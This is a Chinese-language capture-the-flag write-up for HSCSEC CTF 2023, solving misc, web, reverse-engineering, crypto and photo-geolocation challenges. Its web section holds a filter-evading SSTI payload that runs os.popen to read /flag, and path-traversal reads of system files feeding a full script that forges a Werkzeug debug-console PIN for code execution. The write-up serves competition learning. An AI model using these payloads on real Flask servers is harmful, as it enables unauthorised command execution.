好难,只能水一些简单的题了(
[MISC] SIGNIN
关注公众号:中龙 红客突击队 发送:HSCCTF{TELLMEFLAG}获取flag!
根据提示,关注微信公众号,得到flag:
HSCSEC{W3Ic0m3_t0_HScCtF2tH}
[MISC] EZIMG
flag分为三段,使用010 Editor
打开图片,发现文件末端有PNG图像的特征:
提取,python倒序输出,得到图片(深色背景下有半透明文字)
根据图片内容知第一段flag:HSCSEC{p3G_h
接着,继续观察倒序的图片文件,得到01序列:
1100101011011011100000000
0100000111100011100000000
1000110111100010100000000
0011000101100001000000000
1001111110100110100000000
1101100010111111100000000
1100101011011000100000000
1101100011001010100000000
1101111110001010111100101
1101011011001000010110110
1101111000100101101100101
1100001111100100100101010
0100111101011000011110011
0100011010010100100000100
1111000100011001001010111
1101000010110110010100011
0010001110001110111110111
0000000001011011100000000
0000000010101010100000000
0000000011010001000000000
0000000001100010000000000
0000000000000111000000000
0000000001101011100000000
0000000001111110000000000
0000000001101001000000000
使用脚本生成二维码:
zo_data = """1100101011011011100000000
0100000111100011100000000
1000110111100010100000000
0011000101100001000000000
1001111110100110100000000
1101100010111111100000000
1100101011011000100000000
1101100011001010100000000
1101111110001010111100101
1101011011001000010110110
1101111000100101101100101
1100001111100100100101010
0100111101011000011110011
0100011010010100100000100
1111000100011001001010111
1101000010110110010100011
0010001110001110111110111
0000000001011011100000000
0000000010101010100000000
0000000011010001000000000
0000000001100010000000000
0000000000000111000000000
0000000001101011100000000
0000000001111110000000000
0000000001101001000000000"""
if __name__ == '__main__':
# f = open(r"C:\Users\vvbbnn00\Desktop\desktop.png", "rb").read()
# open(r"C:\Users\vvbbnn00\Desktop\desktop1.png", "wb").write(f[::-1])
from PIL import Image
MAX = 25
pic = Image.new("RGB", (MAX, MAX))
inp = "".join(zo_data.split("\n"))
i = 0
for y in range(0, MAX):
for x in range(0, MAX):
if inp[i] == '1':
pic.putpixel((x, y), (0, 0, 0))
else:
pic.putpixel((x, y), (255, 255, 255))
i = i + 1
pic.show()
补全缺少的定位点,得到如下二维码:
扫码获得第二段flag:aQR_c0de_and
根据提示,将图片上传至https://www.toolscat.com/img/image-mask提取隐写信息,得到第三段flag:_3nc}
最终flag:
HSCSEC{p3G_haQR_c0de_and_3nc}
[WEB] EZSSTI
进入环境以后,以为与Werkzeug PIN
有关,但实际上不用这么复杂。首先,你的运气要足够好,才能猜到在这个毫无提示的主页中,可以传入参数name
,如果你的运气不够好,就会像笔者一样,尝试了无数的参数无功而返,怀疑人生(
传入name
参数后,发现Welcome to the HSCSEC CTF 2023
的 HSCSEC CTF 2023
可以根据传入内容的不同而修改,且存在SSTI
注入漏洞,于是,可以构造payload
:
?name={{''.__class__.__bases__[0].__subclasses__()[80].__init__.__globals__['__builtins__'].eval("__import__('os').po"+"pen('ca"+"t /fl" + "ag').read()")}}
由于这里过滤了popen
、cat
、flag
等,因此可以简单拼接一下。
得到flag:
HSCSEC{fd92ad53-d8cd-41fa-8a40-0e5e3e91b7f6}
[WEB] EZSYFLASK
访问/view?filename=app.py
查看源代码,发现存在路径穿越漏洞,尝试不携带参数访问,发现存在flask的debug模式页面,因此,可以计算PIN来获取console
。笔者先尝试了网络上的PIN计算脚本,但是都没成功,后面发现可能和Werkzeug
版本有关,分析代码可知,生成PIN大致需要
- 网卡MAC地址:
/sys/class/net/eth0/address
/etc/machine-id
或者/proc/sys/kernel/random/boot_id
,此处只取其一,若前者不存在,则尝试获取后者/proc/self/cgroup
中的CPUID
- 运行python程序的用户名
flask
模组的文件路径
通过路径穿越漏洞,我们可以轻松得到MAC地址
和machine-id
;通过报错界面,我们可以得到flask
模组文件的绝对路径;然而,/proc/self
、cgroup
在代码中被禁止,导致我们无法直接获得。
对于执行程序的用户,我们可以暴力枚举PID
,找到python
程序的PID
,查看/proc/<PID>/environ
即可,得到用户名为app
;对于CPUID
,除了cgroup
之外,我们还可以从/proc/1/cpuset
中找到。
得到上述所有信息后,即可生成PIN,代码如下:
import hashlib
import uuid
from itertools import chain
mac = '02:42:ac:02:01:50' # /sys/class/net/eth0/address
mac = int('0x' + mac.replace(':', ''), 16) # 1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup 或 cpuset
machine_id = b'7265fe765262551a676151a24c02b7b6'
cgroup = b'b511eedbf15d3d88b5c461e9e0beb2069e35635497f95d3af6be5b51b6f9ddb3'
modname = 'flask.app'
username = 'app'
file_path = '/usr/local/lib/python3.8/site-packages/flask/app.py'
def hash_pin(pin: str) -> str:
return hashlib.sha1(f"{pin} added salt".encode("utf-8", "replace")).hexdigest()[:12]
def get_machine_id():
def _generate():
linux = b""
# machine-id is stable across boots, boot_id is not.
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
try:
with open(filename, "rb") as f:
value = f.readline().strip()
except OSError:
continue
if value:
linux += value
break
# Containers share the same machine id, add some cgroup
# information. This is used outside containers too but should be
# relatively stable across boots.
try:
with open("/proc/self/cgroup", "rb") as f:
linux += f.readline().strip().rpartition(b"/")[2]
except OSError:
pass
return linux
_machine_id = _generate()
return machine_id + cgroup
def get_pin_and_cookie_name():
"""Given an application object this returns a semi-stable 9 digit pin
code and a random key. The hope is that this is stable between
restarts to not make debugging particularly frustrating. If the pin
was forcefully disabled this returns `None`.
Second item in the resulting tuple is the cookie name for remembering.
"""
# This information only exists to make the cookie unique on the
# computer, not as a security feature.
probably_public_bits = [
username,
modname,
'Flask',
file_path,
]
# This information is here to make it harder for an attacker to
# guess the cookie name. They are unlikely to be contained anywhere
# within the unauthenticated debug page.
private_bits = [str(mac), get_machine_id()]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode("utf-8")
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
# If we need to generate a pin we salt it a bit more so that we don't
# end up with the same value and generate out 9 digits
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
rv = ''
# Format the pincode in groups of digits for easier remembering if
# we don't have a result yet.
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = "-".join(
num[x: x + group_size].rjust(group_size, "0")
for x in range(0, len(num), group_size)
)
break
return rv, cookie_name
if __name__ == '__main__':
print(get_pin_and_cookie_name())
解锁console
后,输入__import__('os').popen('/readflag').read()
获取flag:
HSCSEC{39fed8c7-8a74-4d0b-a90f-39b39972ddf9}
[REVERSE] DECOMPILEONEOONE
本题考查基础逆向,根据代码解密即可。解密代码如下:
#include <stdint.h>
#include <stdio.h>
int __cdecl main() {
int i; // [rsp+Ch] [rbp-94h]
__int64 v6[3]; // [rsp+10h] [rbp-90h]
v6[0] = 0x5C797E8971697066LL;
v6[1] = 0x8D83497D7F6F7A3DLL;
v6[2] = 0x949DA8758277A9A5LL;
char v7[] = "|M\x95\xb7";
for ( i = 0; i <= 27; ++i ) {
int c;
if (i <= 23)
c = *((char *)v6 + i);
else
c = *((char *)v7 + i - 24);
if ( (i & 1) != 0 )
c += i + 1;
else
c += i;
c ^= (char)i + 1;
c -= 3 * i + 1;
printf("%c", c);
}
}
得到flag:
flag{reV3rSe_1s_sucH_hanV1e}
[REVERSE] Whack-a-mole
本题考查Win32API的使用,查看源代码,可知:
Msg
需为273
、wParam
需为3
、lParam
需为3301
即可。
先运行待破解程序,然后运行如下代码:
#include <windows.h>
#include <stdio.h>
int main() {
HWND target = NULL;
target = FindWindowW(NULL, L"revme");
if (target == NULL) {
printf("error!");
return -1;
}
printf("0x%x\n", target);
HWND hbuttonbox = FindWindowEx(target, 0, NULL, "flag");
printf("0x%x\n", hbuttonbox);
PostMessageW(target, 273, 3, 3301);
}
得到flag:
w1n32_aPi_iS_FUn
[REVERSE] Base secrets
本题是一个换表的Base64
,但笔者比较菜,找了半天只找到原文:
此处的 1k
不属于原文,从.length=44
可知。
hexZh3tyVXM3X2AwX35yM+IxRU1nkz5nmWdzhXdF7Qo=
那么,能否从已有的信息算出字母表呢?答案是肯定的。
根据尝试,我们可以确定,fla
对应的Base64
密文为hexZ
,那么,我们可以以此为突破口,在内存中找到Base64
编码后的数据。根据常识,我们知道,Base64
会以3个字符为一组进行编码,因此,我们只需将所有需要的字符都构造一遍(实际上不需要这么多,只需要64个后6位不同的字符组即可),就能够推出字母表了,首先,在程序中添加断点,然后输入:
fla ! " # $ % & ' ( ) * + , - . / 0 1 2 3 4 5 6 7 8 9 : ; < = > ? @ A B C D E F G H I J K L M N O P Q R S T U V W X Y Z [ \ ] ^ _ ` a b c d e f g h i j k l m n o p q r s t u v w x y z { | } ~
内存中查询hexZ
,得到:
成功得到我们需要的内容,接着,只需编写脚本,即可反推出字母表:
import base64
import string
if __name__ == '__main__':
for i in range(32, 127):
print(' ', chr(i), sep='', end='')
print()
ret = ''.join("""I64YI64ZI64a
I64bI64cI64dI64e
I64fI64oI64pI64q
I64rI64sI64tI64u
I64vI64wI64xI64y
I64zI640I641I642
I643I64AI64BI64C
I64DI64EI64FI64G
I64HI654I655I656
I657I658I659I65+
I65-I65II65JI65K
I65LI65MI65NI65O
I65PI65QI65RI65S
I65TI65UI65VI65W
I65XI65gI65hI65i
I65jI65kI65lI65m
I65nI65YI65ZI65a
I65bI65cI65dI65e
I65fI65oI65pI65q
I65rI65sI65tI65u
I65vI65wI65xI65y
I65zI650I651I652
I653I65AI65BI65C
I65DI65EI65FI65G
7Qo=""".split("\n"))
print(ret)
index = 0
alphabet = [c for c in range(32, 128)]
dic = {}
while index * 4 < len(ret):
ch = ret[index * 4:(index + 1) * 4]
key = ch[-1]
bin_data = '0b' + bin(alphabet[index])[2:].zfill(8)[2:]
index_data = int(bin_data, 2)
if not dic.get(index_data):
dic[index_data] = key
index += 1
print(dic)
new_alphabet = b''
for i in range(64):
new_alphabet += dic[i].encode()
STANDARD_ALPHABET = b'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
DECODE_TRANS = bytes.maketrans(new_alphabet, STANDARD_ALPHABET)
print(base64.b64decode("hexZh3tyVXM3X2AwX35yM+IxRU1nkz5nmWdzhXdF7Qo=".translate(DECODE_TRANS)))
运行得到flag:
flag{rUs7_n0_pr0b1EM_s0_yisey}
[REVERSE] Disco simulator
从程序附带的文件中可以看出,这是一个OpenGL
程序,因此没有反编译的必要了,修改脚本文件即可。
打开程序,我们发现flag
被挡住了,那么目的便很简单了:要么将前面的灯球去掉,要么修改自己的位置。
在a2.do
中,我们看到:
#version 330 core
layout (location = 0) in vec3 bb7;
layout (location = 1) in vec3 fr4;
out vec3 d4;
out vec3 s9;
uniform mat4 fdc;
uniform mat4 kkb;
uniform mat4 ojc;
void main()
{
d4 = vec3(fdc * vec4(bb7, 1.0));
s9 = fr4;
gl_Position = ojc * kkb * vec4(d4, 1.0);
}
其中的gl_Position = ojc * kkb * vec4(d4, 1.0);
是突破口,表示当前的位置。经过微调,gl_Position = (ojc * kkb * vec4(d4, 0.195)) + vec4(14,0,0,0);
可以看到flag
的前半部分:
然后按照这个规律,每次在x
偏移4
单位,即可将flag
拼出来:
flag{6yCvikD_oPEngLc0oL_g4Me}
[CRYPTO] EZRSA
题目代码:
from Crypto.Util.number import *
import gmpy2
m = 123
p = getPrime(1024)
q = getPrime(1024)
n = p * q
print('n =', n)
e = 0x10001
M = m * e * 1 * 2022 * p
c = pow(M, e, n)
print('c =', c)
# n = 16266043783454053154037197753138388613864200794483663334493856481522764684650995230938142916968470804276539967429581472897698022852787399956166067156691430593337430691851251036378709799238876668312530223697905925939542713491015517460139150765778057817475571231361809654951289718071760502692960235551663466242938669673675870151921605230499603814070711617511206013584605131901906195136038060653121164252894949526861390984185085201067988694831398388037080993820517447099157891181179389949333832439004857436617834100885739716577641892686620423154860716308518151628754780994043553863224363539879909831811888663875989774849
# c = 12716190507848578560760116589677996073721225715245215495257947887969923319693501568134141757778665747980229898129090929698368855086594836111461700857934476682700625486249555753323344759513528101651108919161794915999809784961533946922607642974500946026677116418317599095703217004064379100607278317877894742815660315660254853364776654303066021672567442581774299847661025422994141801987588151758971034155714424052693627277202951522779716696303237915400201362585413354036973117149974017434406560929491956957193491445847385625481870256240443170803497196783872213746269940877814806857222191433079944785910813364137603874411
由题可知,,因此,
得到,自然也能解出,接下来就是常规的RSA
:
from Crypto.Util.number import long_to_bytes
from gmpy2 import *
e = 0x10001
c = 12716190507848578560760116589677996073721225715245215495257947887969923319693501568134141757778665747980229898129090929698368855086594836111461700857934476682700625486249555753323344759513528101651108919161794915999809784961533946922607642974500946026677116418317599095703217004064379100607278317877894742815660315660254853364776654303066021672567442581774299847661025422994141801987588151758971034155714424052693627277202951522779716696303237915400201362585413354036973117149974017434406560929491956957193491445847385625481870256240443170803497196783872213746269940877814806857222191433079944785910813364137603874411
n = 16266043783454053154037197753138388613864200794483663334493856481522764684650995230938142916968470804276539967429581472897698022852787399956166067156691430593337430691851251036378709799238876668312530223697905925939542713491015517460139150765778057817475571231361809654951289718071760502692960235551663466242938669673675870151921605230499603814070711617511206013584605131901906195136038060653121164252894949526861390984185085201067988694831398388037080993820517447099157891181179389949333832439004857436617834100885739716577641892686620423154860716308518151628754780994043553863224363539879909831811888663875989774849
p = gcd(c, n)
q = n // p
phi = (p - 1) * (q - 1)
d = invert(e, phi)
# M = m * e * 1 * 2022 * p
M = pow(c, d, n)
M //= e * 2022 * p
if __name__ == '__main__':
print(long_to_bytes(M))
得到flag:
flag{3e5e2789a93a80615cc35edbff397c05}
注:本题也可以用RsaCtfTool
[CRYPTO] Operator
题目代码:
#!/bin/python3
from Crypto.Util.number import bytes_to_long, getPrime
FLAG = "*******************MASK****************"
# print(FLAG)
number1 = getPrime(512)
number2 = getPrime(1024)
print(number1)
result = FLAG * number1 % number2
print(result)
"""
Output:
11488359375916816818731868252559119400126174593041608170883818546254791846479664455120194350355087017477744828351806157930199157462913063513512421460678471
1890846045246997191702622225497063073251667816125412875121879991742654650976309481716690792328873189601779812108551290078049710826355501933349874438201643986975141068179879506727213209273645848165732801667704040761771
"""
乍一看number2
不可知,实际上也没有知道的必要,因为位数差太多了,FLAG*number1
大概率小于number2
,因此只需要整除一下就行:
from Crypto.Util.number import long_to_bytes
n1 = 11488359375916816818731868252559119400126174593041608170883818546254791846479664455120194350355087017477744828351806157930199157462913063513512421460678471
c = 1890846045246997191702622225497063073251667816125412875121879991742654650976309481716690792328873189601779812108551290078049710826355501933349874438201643986975141068179879506727213209273645848165732801667704040761771
if __name__ == '__main__':
print(long_to_bytes(c // n1))
得到flag:
flag{qMmZqWvmj70bBsCfmVLT}
[CRYPTO] EZVC
题目代码和解题代码放在一起了:
# -*- coding: utf-8 -*-
# alphabet = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&\'()*+,-./:;<=>?@[\]^_`{|}~'
# key = 'HSC'
# # assert flag.startswith('HSCSEC{')
# flag_num_list = []
# c = []
# for item in flag:
# flag_num_list.append(alphabet.find(item) + 1)
# key_num = alphabet.find(key) + 1
# for i in flag_num_list:
# m = (i + key_num) % 94 - 1
# if m == 0:
# c.append("□")
# c.append(alphabet[m-1:m])
# print("c = {}".format(''.join(c)))
flag = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&\'()*+,-./:;<=>?@[\]^_`{|}~'
c = '□abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!"#$%&\'()*+,-./:;<=>?@[\]^_`{|}'
big_dic = {}
for index in range(len(c)):
big_dic[c[index]] = flag[index]
cipher = 'GRBRDB`jg10ij2g01i,g201gi,2gi2,012igaigagi|'
for i in cipher:
print(big_dic[i], end='')
if __name__ == '__main__':
pass
# c = GRBRDB`jg10ij2g01i,g201gi,2gi2,012igaigagi|
简单来说,每一位都是一一对应的,因此只需要找到对应关系即可,暴力枚举一遍。
得到flag:
HSCSEC{kh21jk3h12j-h312hj-3hj3-123jhbjhbhj}
[MISC(社工)] Happy Lantern Festival
根据横幅上的文字搜索,很快就能找到。
HSCSEC{新疆维吾尔自治区阿勒泰地区阿勒泰市五百里风情街}
[MISC(社工)] Beautiful Lake
突破口是右下角的文字,放大后是“宁夏理工学院”:
地图搜索可知,应该是星海湖,flag具体是啥忘记了,反正格式需要调一调:
HSCSEC{宁夏省石嘴山市大武口区星海湖}
[MISC(社工)] Apple Store
将图片上传百度识图,可以找到很相似的图片:
但可惜来源在百度找不到,谷歌上传百度找到的这张图,可以知道图片来源于Getty Images
,作者zhangpeng
,能找到原图(写wp的时候找不到了,但找到了类似的):
都能知道具体地址(格式可能需调整):
HSCSEC{北京市西城区西单北大街131号西单大悦城}
[MISC(社工)] Beautiful Park
谷歌识图第一个就是:
翻译一下得到flag:
HSCSEC{河北省张家口市怀来县官厅水库国家湿地公园}
[MISC(社工)] Boat
百度识图得知是西湖:
然后是试出西湖的正确地址:
HSCSEC{浙江省杭州市西湖区龙井路1号}